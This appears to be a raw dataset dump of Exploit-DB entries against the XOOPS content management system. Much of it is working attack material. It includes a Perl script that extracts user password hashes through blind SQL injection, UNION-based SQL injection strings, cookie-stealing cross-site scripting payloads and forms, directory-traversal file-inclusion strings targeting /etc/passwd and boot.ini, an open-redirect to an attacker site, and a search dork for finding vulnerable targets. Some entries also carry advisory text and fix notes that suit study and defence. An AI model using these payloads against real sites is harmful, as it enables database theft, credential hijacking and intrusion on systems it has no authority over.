deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14828
Description: XOOPS 2.0.14 - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-28
Author: []0iZy5

Exploit:
##################################################################
##################################################################
#          ___   ___  _   _____        __                   _    #
#         / _ \ / _ \| | |  __ \      / _|                 | |   #
#    _ __| | | | | | | |_| |  | | ___| |_ __ _  ___ ___  __| |   #
#   | '__| | | | | | | __| |  | |/ _ \  _/ _` |/ __/ _ \/ _` |   #
#   | |  | |_| | |_| | |_| |__| |  __/ || (_| | (_|  __/ (_| |   #
#   |_|   \___/ \___/ \__|_____/ \___|_| \__,_|\___\___|\__,_|   #
#                                                                #
#                                                                #
#                                             +-+-+-+-+          #
#                                             |C|r|e|w|          #
#                                             +-+-+-+-+          #
##################################################################
##################################################################
# [#] XOOPS 2.0.14 (article.php) SQL Injection Vulnerability     #
# [#] Discovered By []0iZy5                                      #
# [#] http://r00tDefaced.com & uNkn0wn.eu(is back)               #
# [#] Greetz: Gn0515, Silic0n, my bb(denys) & r00tDefaced Members#
##################################################################
#
# [2]-SQL injection
#
# Vulnerability Description:
#               SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an #application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL #statements or user input is not strongly typed and thereby unexpectedly executed.
#
# Affected items:
#          http://127.0.0.1/path/modules/articles/article.php?id=[SQL Injection]
#          
# Example: -1337+uNiOn+sElEcT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- [You can find the number of vulnerable query]
# Demo: http://www.site.com/modules/articles/article.php?id=1%20union%20all%20select%201,2,3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
#
# The Risk:
#     By exploiting this vulnerability, an attacker can inject malicious code in the script and can have access to the database.
#
# Fix the vulnerability:
#     To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, parametrized statements must be used #(preferred), or user input must be carefully escaped or filtered.
#
#################################################################
#################################################################
 
# r00tDefaced.com [28/08/2010]
Exploit-DB #31681
Description: XOOPS 2.0.14 Article Module - 'article.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-21
Author: Cr@zy_King

Exploit:
source: https://www.securityfocus.com/bid/28879/info


XOOPS Article module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

# Exploit :

#############################################

#Coded By Cr@zy_King http://coderx.org]#

#############################################

use IO::Socket;

if (@ARGV != 3)

{

print "\n-----------------------------------\n";

print "Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it\n";

print "-----------------------------------\n";

print "\n4ever Cra\n";

print "crazy_kinq[at]hotmail.co.uk\n";

print "http://coderx.org\n";

print "\n-----------------------------------\n";

print "\nKullanim: $0 <server> <path> <uid>\n";

print "Ornek: $0 www.victim.com /path 1\n";

print "\n-----------------------------------\n";

exit ();

}

$server = $ARGV[0];

$path = $ARGV[1];

$uid = $ARGV[2];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort =>

"80");

printf $socket ("GET

%s/modules/articles/article.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NUL
L,NULL,NULL,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL/**/FROM/**/xoops_users/**/WHERE/**/uid=$uid/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection:

close\n\n",

$path,$server,$uid);

while(<$socket>)

{

if (/\>(\w{32})\</) { print "\nID '$uid' User Password :\n\n$1\n"; }

}

# Cr@zy_King

# http://coderx.org

# crazy_kinq (at) hotmail.co (dot) uk [email concealed]
Exploit-DB #30748
Description: XOOPS 2.0.17.1 Mylinks Module - 'Brokenlink.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-09
Author: root@hanicker.it

Exploit:
source: https://www.securityfocus.com/bid/26392/info

Xoops Mylinks module is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting this vulnerability could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.

Xoops 2.0.17.1 is vulnerable; other versions may also be affected. 

http://www.example.com.com/modules/mylinks/brokenlink.php?lid=1%20OR%201=2
Exploit-DB #32098
Description: XOOPS 2.0.18 - '/modules/system/admin.php?fct' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-21
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30330/info
 
XOOPS is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker can exploit the local file-include vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.
 
The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
XOOPS 2.0.18.1 is vulnerable; other versions may also be affected.

http://www.example.com/scripts_path/modules/system/admin.php?fct="><script>alert("xss")</script>
Exploit-DB #32097
Description: XOOPS 2.0.18 - '/modules/system/admin.php?fct' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-21
Author: Ciph3r

Exploit:
source: https://www.securityfocus.com/bid/30330/info

XOOPS is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

XOOPS 2.0.18.1 is vulnerable; other versions may also be affected.

http://www.example.com/scripts_path/modules/system/admin.php?fct=../../../../../../../../../../etc/passwd%00
Exploit-DB #5057
Description: XOOPS 2.0.18 - Local File Inclusion / URL Redirecting
Type: webapps
Platform: php
Date: 2008-02-04
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-009


Application:                    XOOPS
Versions Affected:              XOOPS 2.0.18
Vendor URL:                     http://www.xoops.org/
Bugs:                           Local File Include,URL Redirecting  phishing
Exploits:                       YES
Reported:                       28.01.2008
Vendor response:                28.01.2008
Date of Public Advisory:        04.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)





Description
***********

XOOPS system has multiple security vulnerabilities:

1. Local File Include
2. Url redirection Phishing


Details
*******


1. Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script htdocs/install/index.php  vulnerable POST parameter lang



vulnerable code:

************************************************



$language = 'english';
if ( !empty($_POST['lang']) ) {
    $language = $_POST['lang'];
.
.
.
.



if ( file_exists("./language/".$language."/install.php") ) {
    include_once "./language/".$language."/install.php";


************************************************









Example:


POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0
Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length: 67
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php

lang=/../../../../../../../../boot.ini%00.html&op=start&submit=Next










---------------------------------------------------------------------


2. URL Redirection phishing 

Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect" 


Example:

http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilsite.com 



Fix Information
***************


Vendor  fix this flaw in svn on 28.10.2007.

http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&revision=1282

Tracker: http://sourceforge.net/tracker/index.php?func=detail&atid=430840&aid=1881236&group_id=41586





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)

# milw0rm.com [2008-02-04]
Exploit-DB #28914
Description: Xoops 2.0.5 - 'NewList.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-06
Author: CvIr.System

Exploit:
source: https://www.securityfocus.com/bid/20927/info

Xoops is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/modules/wfdownloads/newlist.php?newdownloadshowdays=[XSS]
Exploit-DB #23459
Description: Xoops 2.0.5.1 - 'MyLinks Myheader.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-21
Author: Chintan Trivedi

Exploit:
source: https://www.securityfocus.com/bid/9269/info

Xoops is prone to a cross-site scripting vulnerability in the 'myheader.php' script included in the mylinks module. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. Exploitation could allow for theft of cookie-based authentication credentials or other attacks.

This issue was reported in Xoops 2.0.5.1. It is likely that other versions are also affected. 

http://www.example.com/modules/mylinks/myheader.php?url=javascript:alert(document.cookie);

http://www.example.com/modules/mylinks/myheader.php?url="><script>alert(document.cookie)</script>
Exploit-DB #23606
Description: Xoops 2.0.x - 'viewtopic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-26
Author: Ben Drysdale

Exploit:
source: https://www.securityfocus.com/bid/9497/info

It has been reported that Xoops may be prone to a cross-site scripting vulnerability that may allow a remote user to execute HTML or script code in a user's browser. HTML and script code may be parsed via the 'topic_id' and 'forum' URI parameters of 'newbb/viewtopic.php' script.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

Xoops versions 2.x have been reported to be prone to this issue. 

http://www.example.org/modules/newbb/viewtopic.php?topic_id=14577&forum=2"><script>alert(document.cookie);</script>
http://www.example.org/modules/newbb/viewtopic.php?topic_id=14577"><script>alert(document.cookie);</script>&forum=2
Exploit-DB #28803
Description: Xoops 2.2.3 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-13
Author: b0rizQ

Exploit:
source: https://www.securityfocus.com/bid/20514/info

Xoops is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/modules/newbb/search.php?term=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&andor=exact&searchin=both&uname=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E&%3D%22sortby%22=p.post_time+desc&since=100&submit=Search
Exploit-DB #30884
Description: XOOPS 2.2.5 - 'register.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-12
Author: Omer Singer

Exploit:
source: https://www.securityfocus.com/bid/26835/info

XOOPS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

XOOPS 2.2.5 is vulnerable; prior versions may also be affected. 

http://www.example.com/xoops/modules/profile/register.php?>'"><script>alert('XSS');</script>
Exploit-DB #7380
Description: XOOPS 2.3.1 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2008-12-08
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-040


Application:                    XOOPS   
Versions Affected:              2.3.1
Vendor URL:                     http://www.xoops.org/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       10.11.2008
Vendor response:                10.11.2008
Solution:                       YES
Date of Public Advisory:        08.12.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

XOOPS has Multiple Local File Include vulnerabilities.



Details
*******

Local File Include vulnerability found in scripts:

xoops_lib/modules/protector/blocks.php
xoops_lib/modules/protector/main.php

Successful exploitation requires that "register_globals" is enabled.

Code
----
#################################################

$mytrustdirname = basename( dirname( __FILE__ ) ) ;
$mytrustdirpath = dirname( __FILE__ ) ;

// language files
$language = empty( $xoopsConfig['language'] ) ? 'english' : $xoopsConfig['language'] ;
if( file_exists( "$mydirpath/language/$language/main.php" ) ) {
        // user customized language file (already read by common.php)
        // include_once "$mydirpath/language/$language/main.php" ;
} else if( file_exists( "$mytrustdirpath/language/$language/main.php" ) ) {
        // default language file
        include_once "$mytrustdirpath/language/$language/main.php" ;
...

#################################################

For successful exploitation first condition in if..else statement must be not true.

Example:

http://[server]/[installdir]/xoops_lib/modules/protector/blocks.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00
http://[server]/[installdir]/xoops_lib/modules/protector/main.php?mydirpath=DSecRG/DSecRG/DSecRG&xoopsConfig[language]=../../../../../../../boot.ini%00



Solution
********

Vendor fixed this flaw on 26.11.2008. 

XOOPS 2.3.2a Security Release can be download from Sourceforge repository:

https://sourceforge.net/project/showfiles.php?group_id=41586&package_id=153583&release_id=643010

Release notes:

http://www.xoops.org/modules/news/article.php?storyid=4540



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-12-08]
Exploit-DB #33131
Description: XOOPS 2.3.3 - 'op' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-30
Author: Sense of Security

Exploit:
source: https://www.securityfocus.com/bid/35895/info

XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

XOOPS 2.3.3 is vulnerable; other versions may be affected as well. 

http://www.example.com/xoops-2.3.3/htdocs/modules/pm/viewpmsg.php?op='"><script>alert('vulnerable')</script>
http://www.example.com/xoops-2.3.3/htdocs/modules/profile/user.php?"><script>alert('vulnerable')</script>
Exploit-DB #35569
Description: XOOPS 2.5 - 'banners.php' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2011-04-04
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47174/info

XOOPS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

XOOPS 2.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/banners.php?click=../../../../../../../boot.ini%00
http://www.example.com/banners.php?click&url=../../../../../../../boot.ini%00
http://www.example.com/banners.php?click&bid=../../../../../../../boot.ini%00
Exploit-DB #35632
Description: XOOPS 2.5 - 'imagemanager.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-04-18
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47418/info

XOOPS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view arbitrary local files within the context of the webserver process. Successfully exploiting this issue may lead to other attacks.

XOOPS 2.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/imagemanager.php?target=/../../../../../../../../boot.ini%00&op=upload
Exploit-DB #37092
Description: XOOPS 2.5.4 - '/modules/pm/pmlite.php?to_userid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-18
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53143/info

XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

XOOPS 2.5.4 is vulnerable; other versions may be affected. 

<form action='http://www.example.com/modules/pm/pmlite.php' method="post">
<input type="hidden" name="sendmod" value='1'>
<input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
Exploit-DB #37093
Description: XOOPS 2.5.4 - '/tiny_mce/plugins/xoopsimagemanager/xoopsimagebrowser.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-18
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53143/info
 
XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
XOOPS 2.5.4 is vulnerable; other versions may be affected. 

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="op" value='editcat'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
Exploit-DB #18233
Description: Xoops 2.5.4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-12-11
Author: blkhtc0rp

Exploit:
------------------------------------------
# Xoops 2.5.4 Blind SQL Injection
------------------------------------------

# Dork: "Powered by XOOPS 2.5.4"
# Download: http://sourceforge.net/projects/xoops/
# Date: 10/12/2011
# Author: blkhtc0rp
# Mail: blkhtc0rp[at]yahoo[dot]com
# Tested on: Freebsd 8 and Debian Squeeze


Note:

In order to be successful an attacker must have permission to access the administration menu.

Exploit:

http://192.168.1.109/xoops-2.5.4/modules/system/admin.php?fct=users&selgroups=[Blind Sqli]